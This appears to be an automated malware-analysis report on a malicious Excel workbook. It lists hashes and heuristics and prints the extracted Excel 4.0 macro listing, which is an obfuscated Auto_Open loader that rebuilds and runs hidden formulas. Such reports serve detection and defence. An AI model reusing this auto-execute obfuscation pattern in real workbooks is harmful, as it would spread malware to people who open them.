Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ae12267c489ff219…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:38:24 Authoring application: Microsoft Excel First seen: 2021-01-23
MD5: dc3640501f22d200c4fa53c0e3acc130 SHA-1: 6373de4a82ea41270318be29b4bf9bfde59c8b2e SHA-256: ae12267c489ff219cff107501f433c6e7b2e22a54c18e476f92a6fb7fc9f3726
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6510 bytes
SHA-256: 41117009378018cb0dcf163326bb834df489763ce7d33cfbfef341e9e4b123de
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  tUeN
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E192 
' 0018     24 LABEL : Cell Value, String Constant - dgEnBVUmU len=0 
' 0018     22 LABEL : Cell Value, String Constant - HNryFsC len=0 
' 0018     26 LABEL : Cell Value, String Constant - IHNktJQygBY len=0 
' 0018     27 LABEL : Cell Value, String Constant - kPUKBnbcJJlq len=0 
' 0018     20 LABEL : Cell Value, String Constant - KxdFB len=0 
' 0018     26 LABEL : Cell Value, String Constant - lDTOtlkgknz len=0 
' 0018     27 LABEL : Cell Value, String Constant - mHbTpjjuhyQf len=0 
' 0018     26 LABEL : Cell Value, String Constant - nVsumxUrUfg len=0 
' 0018     22 LABEL : Cell Value, String Constant - OXtIhQZ len=0 
' 0018     27 LABEL : Cell Value, String Constant - PADKVaRXiWXx len=0 
' 0018     25 LABEL : Cell Value, String Constant - qgDRWUNiLV len=0 
' 0018     27 LABEL : Cell Value, String Constant - SlmgNbpKVSFu len=0 
' 0018     25 LABEL : Cell Value, String Constant - SSIkHaxiMy len=0 
' 0018     25 LABEL : Cell Value, String Constant - tyMZjMIJwN len=0 
' 0018     25 LABEL : Cell Value, String Constant - uiOluBOVEp len=0 
' 0018     27 LABEL : Cell Value, String Constant - URRswWHXqlCc len=0 
' 0018     26 LABEL : Cell Value, String Constant - vfnkadExFFD len=0 
' 0018     21 LABEL : Cell Value, String Constant - VKjrsj len=0 
' 0018     25 LABEL : Cell Value, String Constant - vkXUxlHVri len=0 
' 0018     27 LABEL : Cell Value, String Constant - vMsSbQTcYdhy len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  tUeN,E101,"SET.NAME("vMsSbQTcYdhy",VALUE("0"))",""
'  tUeN,E104,"SET.NAME("kPUKBnbcJJlq",vMsSbQTcYdhy)",""
'  tUeN,E107,"SET.NAME("qgDRWUNiLV",vMsSbQTcYdhy)",""
'  tUeN,E111,"SET.NAME("vfnkadExFFD",COUNTA(KxdFB))",""
'  tUeN,E114,"SET.NAME("vkXUxlHVri",COUNTA(SlmgNbpKVSFu))",""
'  tUeN,E119,[],""
'  tUeN,E124,"SET.NAME("lDTOtlkgknz","")",""
'  tUeN,E129,"kPUKBnbcJJlq",""
'  tUeN,E134,"SET.NAME("OXtIhQZ",HLOOKUP("*",KxdFB,kPUKBnbcJJlq,FALSE))",""
'  tUeN,E138,"VKjrsj",""
'  tUeN,E141,"SET.NAME("PADKVaRXiWXx",vMsSbQTcYdhy)",""
'  tUeN,E143,[],""
'  tUeN,E145,"PADKVaRXiWXx",""
'  tUeN,E150,"SSIkHaxiMy",""
'  tUeN,E154,"IHNktJQygBY",""
'  tUeN,E157,"tyMZjMIJwN",""
'  tUeN,E161,"SET.NAME("URRswWHXqlCc",VALUE(HLOOKUP("*",SlmgNbpKVSFu,tyMZjMIJwN,FALSE)))",""
'  tUeN,E165,"HNryFsC",""
'  tUeN,E167,"lDTOtlkgknz",""
'  tUeN,E169,"qgDRWUNiLV",""
'  tUeN,E172,NEXT(),""
'  tUeN,E175,"uiOluBOVEp",""
'  tUeN,E178,"SET.NAME("f",INT(T(FORMULA(T(lDTOtlkgknz)&"",""&T(uiOluBOVEp)))))",""
'  tUeN,E182,"dgEnBVUmU",""
'  tUeN,E187,NEXT(),""
'  tUeN,E190,RETURN(),""
'  tUeN,E216,"SET.NAME("nVsumxUrUfg",E101)",""
'  tUeN,E220,"KxdFB",""
'  tUeN,E223,"SET.NAME("SlmgNbpKVSFu",R57C12)",""
'  tUeN,E227,"SET.NAME("dgEnBVUmU",238)",""
'  tUeN,E232,"SET.NAME("mHbTpjjuhyQf",5)",""
'  tUeN,E237,nVsumxUrUfg(),""
'  tUeN,E238,HALT(),""

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